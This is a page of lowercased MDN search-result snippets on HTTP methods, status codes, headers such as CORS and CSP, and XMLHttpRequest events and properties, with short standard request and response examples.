PATCH - HTTP
WebHTTPMethodsPATCH
the http patch request method applies partial modifications to a resource.
... patch is somewhat analogous to the "update" concept found in crud (in general, http is different than crud, and the two should not be confused).
... request has body yes successful response has body yes safe no idempotent no cacheable no allowed in html forms no syntax patch /file.txt http/1.1 example request patch /file.txt http/1.1 host: www.example.com content-type: application/example if-match: "e0023aa4e" content-length: 100 [description of changes] response a successful response is indicated by any 2xx status code.
... http/1.1 204 no content content-location: /file.txt etag: "e0023aa4f" specifications specification title rfc 5789: patch patch method for http ...
PUT - HTTP
WebHTTPMethodsPUT
the http put request method creates a new resource or replaces a representation of the target resource with the request payload.
... request has body yes successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax put /new.html http/1.1 example request put /new.html http/1.1 host: example.com content-type: text/html content-length: 16 <p>new file</p> responses if the target resource does not have a current representation and the put request successfully creates one, then the origin server must inform the user agent by sending a 201 (created) response.
... http/1.1 201 created content-location: /new.html if the target resource does have a current representation and that representation is successfully modified in accordance with the state of the enclosed representation, then the origin server must send either a 200 (ok) or a 204 (no content) response to indicate successful completion of the request.
... http/1.1 204 no content content-location: /existing.html specifications specification title rfc 7231, section 4.3.4: put hypertext transfer protocol (http/1.1): semantics and content ...
206 Partial Content - HTTP
WebHTTPStatus206
the http 206 partial content success status response code indicates that the request has succeeded and has the body contains the requested ranges of data, as described in the range header of the request.
... status 206 partial content examples a response containing one single range: http/1.1 206 partial content date: wed, 15 nov 2015 06:25:24 gmt last-modified: wed, 15 nov 2015 04:58:08 gmt content-range: bytes 21010-47021/47022 content-length: 26012 content-type: image/gif ...
... a response containing several ranges: http/1.1 206 partial content date: wed, 15 nov 2015 06:25:24 gmt last-modified: wed, 15 nov 2015 04:58:08 gmt content-length: 1741 content-type: multipart/byteranges; boundary=string_separator --string_separator content-type: application/pdf content-range: bytes 234-639/8000 ...the first range...
... --string_separator content-type: application/pdf content-range: bytes 4590-7999/8000 ...the second range --string_separator-- specifications specification title rfc 7233, section 4.1: 206 partial content hypertext transfer protocol (http/1.1): range requests ...
application/http-index-format specification - Archive of obsolete content
the application/http-index-format file format is an attempt to provide a generic, extensible file listing format that is principly machine readable.
...the mime-type for a directory can be given as application/http-index-format.
...100: 300: ftp://test.netscape.com/u/montulli 100: 200: filename content-length content-type file-type last-modified 201: foo.txt 512 text/plain file tue,%2015%20nov%201994%2008:12:31%20gmt 201: bar.html 9683 text/html file tue,%2025%20oct%201994%2008:12:31%20gmt 201: foobar 0 application/http-index-format directory tue,%2025%20oct%201994%2008:12:31%20gmt original document information author(s): christian biesinger last updated date: may 10, 2004 copyright information: portions of this content are © 1998–2007 by individual mozilla.org contributors; content available under a creative commons license | details.
Using XMLHttpRequest in IE6 - Web APIs
xmlhttprequest was first introduced by microsoft in internet explorer 5.0 as an activex control.
... however, in ie7 and other browsers xmlhttprequest is a native javascript object.
... in all modern browsers, you can create a new xmlhttprequest object using the following code: var request = new xmlhttprequest() however, if you need to also support internet explorer 6 and older, you need to extend your code like this: if (window.xmlhttprequest) { //firefox, opera, ie7, and other browsers will use the native object var request = new xmlhttprequest(); } else { //ie 5 and 6 will use the activex control var request = new activexobject("microsoft.xmlhttp"); } see also using xmlhttprequest ...
XMLHttpRequest: abort event - Web APIs
the abort event is fired when a request has been aborted, for example because the program called xmlhttprequest.abort().
...unction addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://...
...mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: load event - Web APIs
the load event is fired when an xmlhttprequest transaction completes successfully.
...unction addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://...
...mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.setRequestHeader() - Web APIs
the xmlhttprequest method setrequestheader() sets the value of an http request header.
... syntax xmlhttprequest.setrequestheader(header, value) parameters header the name of the header whose value is to be set.
... specifications specification status comment xmlhttprequestthe definition of 'setrequestheader()' in that specification.
XMLHttpRequest.status - Web APIs
the read-only xmlhttprequest.status property returns the numerical http status code of the xmlhttprequest's response.
...browsers also report a status of 0 in case of xmlhttprequest errors.
... example var xhr = new xmlhttprequest(); console.log('unsent: ', xhr.status); xhr.open('get', '/server'); console.log('opened: ', xhr.status); xhr.onprogress = function () { console.log('loading: ', xhr.status); }; xhr.onload = function () { console.log('done: ', xhr.status); }; xhr.send(); /** * outputs the following: * * unsent: 0 * opened: 0 * loading: 200 * done: 200 */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequest.statusText - Web APIs
the read-only xmlhttprequest.statustext property returns a domstring containing the response's status message as returned by the http server.
... unlike xmlhttprequest.status which indicates a numerical status code, this property contains the text of the response status, such as "ok" or "not found".
... example var xhr = new xmlhttprequest(); console.log('0 unsent', xhr.statustext); xhr.open('get', '/server', true); console.log('1 opened', xhr.statustext); xhr.onprogress = function () { console.log('3 loading', xhr.statustext); }; xhr.onload = function () { console.log('4 done', xhr.statustext); }; xhr.send(null); /** * outputs the following: * * 0 unsent * 1 opened * 3 loading ok * 4 done ok */ specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onerror - Web APIs
the xmlhttprequesteventtarget.onerror is the function called when an xmlhttprequest transaction fails due to an error.
... syntax xmlhttprequest.onerror = callback; values callback is the function to be executed when the request fails.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onerror = function () { console.log("** an error occurred during the transaction"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onloadstart - Web APIs
the xmlhttprequesteventtarget.onloadstart is the function called when an xmlhttprequest transaction starts transferring data.
... syntax xmlhttprequest.onloadstart = callback; values callback is the function to be called when the transaction begins to transfer data.
... example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onloadstart = function () { console.log("download underway"); }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
XMLHttpRequestEventTarget.onprogress - Web APIs
the xmlhttprequesteventtarget.onprogress is the function called periodically with information when an xmlhttprequest before success completely.
... syntax xmlhttprequest.onprogress = callback; values callback is the function to be called periodically before the request is completed.
... xmlhttprequest.onprogress = function (event) { event.loaded; event.total; }; example var xmlhttp = new xmlhttprequest(), method = 'get', url = 'https://developer.mozilla.org/'; xmlhttp.open(method, url, true); xmlhttp.onprogress = function () { //do something }; xmlhttp.send(); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
Reason: invalid token ‘xyz’ in CORS header ‘Access-Control-Allow-Methods’ - HTTP
the access-control-allow-methods header is sent by the server to let the client know what http request methods it supports for cors requests.
... the header's value is a comma-delineated string of http method names, such as get, post, or head.
...it may also be worth checking to ensure that the user agent or http library you're using on the client is up-to-date.
Reason: Did not find method in CORS header ‘Access-Control-Allow-Methods’ - HTTP
the http method being used by the cors request is not included in the list of methods specified by the response's access-control-allow-methods header.
... this header specifies a comma-delineated list of the http methods which may be used when using cors to access the url specified in the request; if the request is using any other method, this error occurs.
... make sure your code only uses the permitted http methods when accessing the service.
List of default Accept values - HTTP
this article documents the default values for the http accept header for specific inputs and browser versions.
... agent value comment firefox text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (since firefox 66) text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 (in firefox 65) text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 (before) in firefox 65 and earlier, this value can be modified using the network.http.accept.default parameter.
... user agent value comment firefox image/webp,*/* (since firefox 65) */* (since firefox 47) image/png,image/*;q=0.8,*/*;q=0.5 (before) this value can be modified using the image.http.accept parameter.
Feature Policy - HTTP
specifying your policy feature policy provides two ways to specify policies to control features: the feature-policy http header.
... the primary difference between the http header and the allow attribute is that the allow attribute only controls features within an iframe.
... the features include: layout-inducing animations legacy image formats oversized images synchronous scripts synchronous xmlhttprequest unoptimized images unsized media granular control over certain features the web provides functionality and apis that may have privacy or security risks if abused.
Accept-Charset - HTTP
the accept-charset request http header advertises which character encodings the client understands.
... in early versions of http/1.1, a default character encoding was defined: iso-8859-1.
... examples accept-charset: iso-8859-1 accept-charset: utf-8, iso-8859-1;q=0.5 accept-charset: utf-8, iso-8859-1;q=0.5, *;q=0.1 specifications specification title rfc 7231, section 5.3.3: accept-charset hypertext transfer protocol (http/1.1): semantics and context ...
Accept-Ranges - HTTP
the accept-ranges response http header is a marker used by the server to advertise its support of partial requests.
...though bytes is the only range unit formally defined by rfc 7233, additional range units may be registered in the http range unit registry.
... examples accept-ranges: bytes specifications specification title rfc 7233, section 2.3: accept-ranges hypertext transfer protocol (http/1.1): range requests ...
Access-Control-Allow-Headers - HTTP
the access-control-allow-headers response header is used in response to a preflight request which includes the access-control-request-headers to indicate which http headers can be used during the actual request.
... * (wildcard) the value "*" only counts as a special wildcard value for requests without credentials (requests without http cookies or http authentication information).
... the preflight request is an options request which includes some combination of the three preflight request headers: access-control-request-method, access-control-request-headers, and origin, such as: options /resource/foo access-control-request-method: delete access-control-request-headers: origin, x-requested-with origin: https://foo.bar.org response if the server allows cors requests to use the delete method, it responds with an access-control-allow-methods response header, which lists delete along with the other methods it supports: http/1.1 200 ok content-length: 0 connection: keep-alive access-control-allow-origin: https://foo.bar.org access-control-allow-methods: post, get, options, delete access-control-max-ag...
Content-Encoding - HTTP
the http/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes.
... examples compressing with gzip on the client side, you can advertise a list of compression schemes that will be sent along in an http request.
... specifications specification title rfc 7932: brotli compressed data format brotli compressed data format rfc 7231, section 3.1.2.2: content-encoding hypertext transfer protocol (http/1.1): semantics and content rfc 2616, section 14.11: content-encoding content-encoding ...
CSP: referrer - HTTP
the http content-security-policy (csp) referrer directive used to specify information in the referer header (with a single r as this was a typo in the original spec) for links away from a page.
...the origin is sent as referrer to a-priori as-much-secure destination (https->https), but isn't sent to a less secure destination (https->http).
... the document https://example.com/page.html will send the referrer https://example.com/.
CSP: report-to - HTTP
the content-security-policy report-to http response header field instructs the user agent to store reporting endpoints for an origin.
... report-to: { "group": "csp-endpoint", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/csp-reports" } ] }, { "group": "hpkp-endpoint", "max_age": 10886400, "endpoints": [ { "url": "https://example.com/hpkp-reports" } ] } content-security-policy: ...; report-to csp-endpoint report-to: { "group": "endpoint-1", "max_age": 10886400, "endpoints": [ { "u...
...rl": "https://example.com/reports" }, { "url": "https://backup.com/reports" } ] } content-security-policy: ...; report-to endpoint-1 ...
Digest - HTTP
WebHTTPHeadersDigest
the digest response http header provides a digest of the requested resource.
... examples digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe= digest: sha-256=x48e9qookqqrvdts8nojrjn3owduoywxbf7kbu9dbpe=,unixsum=30637 specifications specification title draft-ietf-httpbis-digest-headers-latest resource digests for http this header was originally defined in rfc 3230, but the definition of "selected representation" in rfc 7231 made the original definition inconsistent with current http specifications.
... when released, the "resource digests for http" draft therefore will obsolete rfc 3230 and will update the standard to be consistent.
Expect-CT - HTTP
browsers ignore the expect-ct header over http; the header only has effect on https connections.
... expect-ct: max-age=86400, enforce, report-uri="https://foo.example/report" notes root cas manually added to the trust store override and suppress expect-ct reports/enforcement.
... specifications specification title internet draft expect-ct extension for http ...
Expect - HTTP
WebHTTPHeadersExpect
the expect http request header indicates expectations that need to be fulfilled by the server in order to properly handle the request.
... put /somewhere/fun http/1.1 host: origin.example.com content-type: video/h264 content-length: 1234567890987 expect: 100-continue the server now checks the request headers and may respond with a 100 (continue) response to instruct the client to go ahead and send the message body, or it will send a 417 (expectation failed) status if any of the expectations cannot be met.
... specifications specification title rfc 7231, section 5.1.1: expect hypertext transfer protocol (http/1.1): semantics and content ...
If-Modified-Since - HTTP
the if-modified-since request http header makes the request conditional: the server will send back the requested resource, with a 200 status, only if it has been last modified after the given date.
...http dates are always expressed in gmt, never in local time.
... examples if-modified-since: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7232, section 3.3: if-modified-since hypertext transfer protocol (http/1.1): conditional requests ...
If-None-Match - HTTP
the if-none-match http request header makes the request conditional.
... when the condition fails for get and head methods, then the server must return http status code 304 (not modified).
... examples if-none-match: "bfc13a64729c4290ef5b2c2730249c88ca92d82d" if-none-match: w/"67ab43", "54ed21", "7892dd" if-none-match: * specifications specification title rfc 7232, section 3.2: if-none-match hypertext transfer protocol (http/1.1): conditional requests ...
If-Range - HTTP
WebHTTPHeadersIf-Range
the if-range http request header makes a range request conditional: if the condition is fulfilled, the range request will be issued and the server sends back a 206 partial content answer with the appropriate body.
...http dates are always expressed in gmt, never in local time.
... examples if-range: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7233, section 3.2: if-range hypertext transfer protocol (http/1.1): range requests ...
If-Unmodified-Since - HTTP
the if-unmodified-since request http header makes the request conditional: the server will send back the requested resource, or accept it in the case of a post or another non-safe method, only if it has not been last modified after the given date.
...http dates are always expressed in gmt, never in local time.
... examples if-unmodified-since: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7232, section 3.4: if-unmodified-since hypertext transfer protocol (http/1.1): conditional requests ...
Last-Modified - HTTP
the last-modified response http header contains the date and time at which the origin server believes the resource was last modified.
...http dates are always expressed in gmt, never in local time.
... examples last-modified: wed, 21 oct 2015 07:28:00 gmt specifications specification title rfc 7232, section 2.2: last-modified hypertext transfer protocol (http/1.1): conditional requests ...
Link - HTTP
WebHTTPHeadersLink
the http link entity-header field provides a means for serialising one or more links in http headers.
... examples the uri (absolute or relative) must be enclosed between < and >: link: <https://example.com>; rel="preconnect" link: https://bad.example; rel="preconnect" specifying multiple links you can specify multiple links separated by commas, for example: link: <https://one.example.com>; rel="preconnect", <https://two.example.com>; rel="preconnect", <https://three.example.com>; rel="preconnect" specifications specification status comments rfc 8288,...
... section 3: link serialisation in http headers ietf rfc rfc 5988, section 5: the link header field ietf rfc initial definition ...
Origin - HTTP
WebHTTPHeadersOrigin
usually it is the http protocol or its secured version, https.
...if no port is given, the default port for the service requested (e.g., "80" for an http url) is implied.
... examples origin: https://developer.mozilla.org specifications specification comment rfc 6454, section 7: origin the web origin concept fetchthe definition of 'origin header' in that specification.
Proxy-Authorization - HTTP
the http proxy-authorization request header contains the credentials to authenticate a user agent to a proxy server, usually after the server has responded with a 407 proxy authentication required status and the proxy-authenticate header.
...prefer to use https in conjunction with basic authentication.
... examples proxy-authorization: basic ywxhzgrpbjpvcgvuc2vzyw1l specifications specification title rfc 7235, section 4.4: proxy-authorization http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
Save-Data - HTTP
note: disabling http/2 server push (rfc 7540, section 8.2: server push) might be desirable too for reducing data downloads.
... with save-data: on request: get /image.jpg http/1.0 host: example.com save-data: on response: http/1.0 200 ok content-length: 102832 vary: accept-encoding, save-data cache-control: public, max-age=31536000 content-type: image/jpeg [...] without save-data request: get /image.jpg http/1.0 host: example.com response: http/1.0 200 ok content-length: 481770 vary: accept-encoding, save-data cache-control: public, max-age=31536000 content-t...
...ype: image/jpeg [...] specifications specification title draft-grigorik-http-client-hints-03, section 7: save-data http client hints ...
Set-Cookie2 - HTTP
the obsolete set-cookie2 http response header used to send cookies from the server to the user agent, but has been deprecated by the specification.
... header type response header forbidden header name no syntax set-cookie2: <cookie-name>=<cookie-value> set-cookie2: <cookie-name>=<cookie-value>; comment=<value> set-cookie2: <cookie-name>=<cookie-value>; commenturl=<http-url> set-cookie2: <cookie-name>=<cookie-value>; discard set-cookie2: <cookie-name>=<cookie-value>; domain=<domain-value> set-cookie2: <cookie-name>=<cookie-value>; max-age=<non-zero-digit> set-cookie2: <cookie-name>=<cookie-value>; path=<path-value> set-cookie2: <cookie-name>=<cookie-value>; port=<port-number> set-cookie2: <cookie-name>=<cookie-value>; secure set-cookie2: <cookie-name>=<cookie-value>; version=<version-number> // multiple directives are also possible, for example: set-cookie2: <cookie-name>=<cookie-valu...
... specifications specification title rfc 2965: set-cookie2 historic specification of http state management mechanism, obsoleted by rfc 6265 ...
TE - HTTP
WebHTTPHeadersTE
in http/2 - the te header field is only accepted if the trailers value is set.
...note that chunked is always acceptable for http/1.1 recipients and you don't have to specify "chunked" using the te header.
... specifications specification title rfc 7230, section 4.3: te hypertext transfer protocol (http/1.1): message syntax and routing ...
Trailer - HTTP
WebHTTPHeadersTrailer
header type response header forbidden header name yes syntax trailer: header-names directives header-names http header fields which will be present in the trailer part of chunked messages.
... http/1.1 200 ok content-type: text/plain transfer-encoding: chunked trailer: expires 7\r\n mozilla\r\n 9\r\n developer\r\n 7\r\n network\r\n 0\r\n expires: wed, 21 oct 2015 07:28:00 gmt\r\n \r\n specifications specification title rfc 7230, section 4.4: trailer hypertext transfer protocol (http/1.1): message syntax and routing rfc 7230, section 4.1.2: chunked traile...
...r part hypertext transfer protocol (http/1.1): message syntax and routing ...
Transfer-Encoding - HTTP
http/2 doesn't support http 1.1's chunked transfer encoding mechanism, as it provides its own, more efficient, mechanisms for data streaming.
...the http/1.1 standard also recommends that the servers supporting this content-encoding should recognize x-gzip as an alias, for compatibility purposes.
...a chunked response looks like this: http/1.1 200 ok content-type: text/plain transfer-encoding: chunked 7\r\n mozilla\r\n 9\r\n developer\r\n 7\r\n network\r\n 0\r\n \r\n specifications specification title rfc 7230, section 3.3.1: transfer-encoding hypertext transfer protocol (http/1.1): message syntax and routing ...
Upgrade-Insecure-Requests - HTTP
the http upgrade-insecure-requests request header sends a signal to the server expressing the client’s preference for an encrypted and authenticated response, and that it can successfully handle the upgrade-insecure-requests csp directive.
... header type request header forbidden header name no syntax upgrade-insecure-requests: 1 examples a client's request signals to the server that it supports the upgrade mechanisms of upgrade-insecure-requests: get / http/1.1 host: example.com upgrade-insecure-requests: 1 the server can now redirect to a secure version of the site.
... location: https://example.com/ vary: upgrade-insecure-requests specifications specification status comment upgrade insecure requeststhe definition of 'upgrade-insecure-requests' in that specification.
WWW-Authenticate - HTTP
the http www-authenticate response header defines the authentication method that should be used to gain access to a resource.
... examples typically, a server response contains a www-authenticate header that looks like these: www-authenticate: basic www-authenticate: basic realm="access to the staging site", charset="utf-8" see also http authentication for examples on how to configure apache or nginx servers to password protect your site with http basic authentication.
... specifications specification title rfc 7235, section 4.1: www-authenticate http/1.1: authentication rfc 7617 the 'basic' http authentication scheme ...
DELETE - HTTP
WebHTTPMethodsDELETE
the http delete request method deletes the specified resource.
... request has body may successful response has body may safe no idempotent yes cacheable no allowed in html forms no syntax delete /file.html http/1.1 example request delete /file.html http/1.1 responses if a delete method is successfully applied, there are several response status codes possible: a 202 (accepted) status code if the action will likely succeed but has not yet been enacted.
... http/1.1 200 ok date: wed, 21 oct 2015 07:28:00 gmt <html> <body> <h1>file deleted.</h1> </body> </html> specifications specification title rfc 7231, section 4.3.5: delete hypertext transfer protocol (http/1.1): semantics and content ...
TRACE - HTTP
WebHTTPMethodsTRACE
the http trace method performs a message loop-back test along the path to the target resource, providing a useful debugging mechanism.
... the final recipient of the request should reflect the message received, excluding some fields described below, back to the client as the message body of a 200 (ok) response with a content-type of message/http.
... request has body no successful response has body no safe no idempotent yes cacheable no allowed in html forms no syntax trace /index.html specifications specification title rfc 7231, section 4.3.8: trace hypertext transfer protocol (http/1.1): semantics and content ...
103 Early Hints - HTTP
WebHTTPStatus103
the http 103 early hints information response status code is primarily intended to be used with the link header to allow the user agent to start preloading resources while the server is still preparing a response.
...if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
...please contribute data for "http.status.103" (depth: 1) to the mdn compatibility data repository.
200 OK - HTTP
WebHTTPStatus200
the http 200 ok success status response code indicates that the request has succeeded.
... the meaning of a success depends on the http request method: get: the resource has been fetched and is transmitted in the message body.
... status 200 ok specifications specification title rfc 7231, section 6.3.1: 200 ok hypertext transfer protocol (http/1.1): semantics and content ...
202 Accepted - HTTP
WebHTTPStatus202
the hypertext transfer protocol (http) 202 accepted response status code indicates that the request has been accepted for processing, but the processing has not been completed; in fact, processing may not have started yet.
... 202 is non-committal, meaning that there is no way for the http to later send an asynchronous response indicating the outcome of processing the request.
... status 202 accepted specifications specification title rfc 7231, section 6.3.3: 202 accepted hypertext transfer protocol (http/1.1): semantics and content ...
408 Request Timeout - HTTP
WebHTTPStatus408
the hypertext transfer protocol (http) 408 request timeout response status code means that the server would like to shut down this unused connection.
... this response is used much more since some browsers, like chrome, firefox 27+, and ie9, use http pre-connection mechanisms to speed up surfing.
... status 408 request timeout specifications specification title rfc 7231, section 6.5.7: 408 request timeout hypertext transfer protocol (http/1.1): semantics and content ...
451 Unavailable For Legal Reasons - HTTP
WebHTTPStatus451
the hypertext transfer protocol (http) 451 unavailable for legal reasons client error response code indicates that the user requested a resource that is not available due to legal reasons, such as a web page for which a legal action has been issued.
... http/1.1 451 unavailable for legal reasons link: <https://spqr.example.org/legislatione>; rel="blocked-by" content-type: text/html <html> <head><title>unavailable for legal reasons</title></head> <body> <h1>unavailable for legal reasons</h1> <p>this request may not be serviced in the roman province of judea due to the lex julia majestatis, which disallo...
...ws access to resources hosted on servers deemed to be operated by the people's front of judea.</p> </body> </html> specifications specification title rfc 7725: 451 unavailable for legal reasons an http status code to report legal obstacles ...
503 Service Unavailable - HTTP
WebHTTPStatus503
the hypertext transfer protocol (http) 503 service unavailable server error response code indicates that the server is not ready to handle the request.
...this response should be used for temporary conditions and the retry-after http header should, if possible, contain the estimated time for the recovery of the service.
... status 503 service unavailable specifications specification title rfc 7231, section 6.6.4: 503 service unavailable hypertext transfer protocol (http/1.1): semantics and content ...
HTTP/3 - MDN Web Docs Glossary: Definitions of Web-related terms
http/3 is the upcoming major revision of the http network protocol, succeeding http/2.
... the major point of http/3 is that it using a new udp protocol named quic, instead of tcp.
HTTP header - MDN Web Docs Glossary: Definitions of Web-related terms
an http header is a field of an http request or response that passes additional information, altering or precising the semantics of the message or of the body.
... a basic request with one header: get /example.http http/1.1 host: example.com redirects have mandatory headers (location): 302 found location: /newpage.html a typical set of headers: 304 not modified access-control-allow-origin: * age: 2318192 cache-control: public, max-age=315360000 connection: keep-alive date: mon, 18 jul 2016 16:06:00 gmt server: apache vary: accept-encoding via: 1.1 3dc30c7222755f86e824b93feb8b5b8c.cloudfront.net (cloud...
nsIXMLHttpRequestEventTarget
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the event listeners used when uploading data using the xmlhttprequest object.
...see also using xmlhttprequest xmlhttprequest nsixmlhttprequest nsidomprogressevent ...
nsIXMLHttpRequestUpload
content/base/public/nsixmlhttprequest.idlscriptable this interface provides access to the features needed when uploading data using nsixmlhttprequest.
...onkey 2.0) attributes attribute type description onabort nsidomeventlistener onerror nsidomeventlistener onload nsidomeventlistener onloadstart nsidomeventlistener onprogress nsidomeventlistener see also nsixmlhttprequest nsixmlhttprequesteventtarget xmlhttprequest using xmlhttprequest ...
XMLHttpRequest: error event - Web APIs
unction addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://...
...mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadend event - Web APIs
unction addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://...
...mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: loadstart event - Web APIs
unction addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://...
...mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest: progress event - Web APIs
unction addlisteners(xhr) { xhr.addeventlistener('loadstart', handleevent); xhr.addeventlistener('load', handleevent); xhr.addeventlistener('loadend', handleevent); xhr.addeventlistener('progress', handleevent); xhr.addeventlistener('error', handleevent); xhr.addeventlistener('abort', handleevent); } function runxhr(url) { log.textcontent = ''; const xhr = new xmlhttprequest(); addlisteners(xhr); xhr.open("get", url); xhr.send(); return xhr; } xhrbuttonsuccess.addeventlistener('click', () => { runxhr('https://mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg'); }); xhrbuttonerror.addeventlistener('click', () => { runxhr('https://somewhere.org/i-dont-exist'); }); xhrbuttonabort.addeventlistener('click', () => { runxhr('https://...
...mdn.mozillademos.org/files/16553/dgszyjnxcaipwzy.jpg').abort(); }); result specifications specification status comment xmlhttprequest living standard ...
XMLHttpRequest.responseURL - Web APIs
the read-only xmlhttprequest.responseurl property returns the serialized url of the response or the empty string if the url is null.
... example var xhr = new xmlhttprequest(); xhr.open('get', 'http://example.com/test', true); xhr.onload = function () { console.log(xhr.responseurl); // http://example.com/test }; xhr.send(null); specifications specification status comment xmlhttprequest living standard whatwg living standard ...
Common MIME types - HTTP
/gif .htm .html hypertext markup language (html) text/html .ico icon format image/vnd.microsoft.icon .ics icalendar format text/calendar .jar java archive (jar) application/java-archive .jpeg .jpg jpeg images image/jpeg .js javascript text/javascript, per the following specifications: https://html.spec.whatwg.org/multipage/#scriptinglanguages https://html.spec.whatwg.org/multipage/#dependencies:willful-violation https://datatracker.ietf.org/doc/draft-ietf-dispatch-javascript-mjs/ .json json format application/json .jsonld json-ld format application/ld+json .mid .midi musical instrument digital interface (midi) audi...
... ogg audio audio/ogg .ogv ogg video video/ogg .ogx ogg application/ogg .opus opus audio audio/opus .otf opentype font font/otf .png portable network graphics image/png .pdf adobe portable document format (pdf) application/pdf .php hypertext preprocessor (personal home page) application/x-httpd-php .ppt microsoft powerpoint application/vnd.ms-powerpoint .pptx microsoft powerpoint (openxml) application/vnd.openxmlformats-officedocument.presentationml.presentation .rar rar archive application/vnd.rar .rtf rich text format (rtf) application/rtf .sh bourne shell script application/x-sh .svg scalable vect...
Resource URLs - HTTP
for example, a script on browserleaks highlights what firefox reveals when queried by a simple script running on the site (you can find the code in https://browserleaks.com/firefox#more).
...for example: http://searchfox.org/mozilla-central/rev/48ea452803907f2575d81021e8678634e8067fc2/browser/app/profile/firefox.js#575 web sites can easily collect firefox default preferences by overriding this pref() function and using the script resource:///defaults/preferences/firefox.js.
Reason: CORS request external redirect not allowed - HTTP
the cors request was responded to by the server with an http redirect to a url on a different origin than the original request, which is not permitted during cors requests.
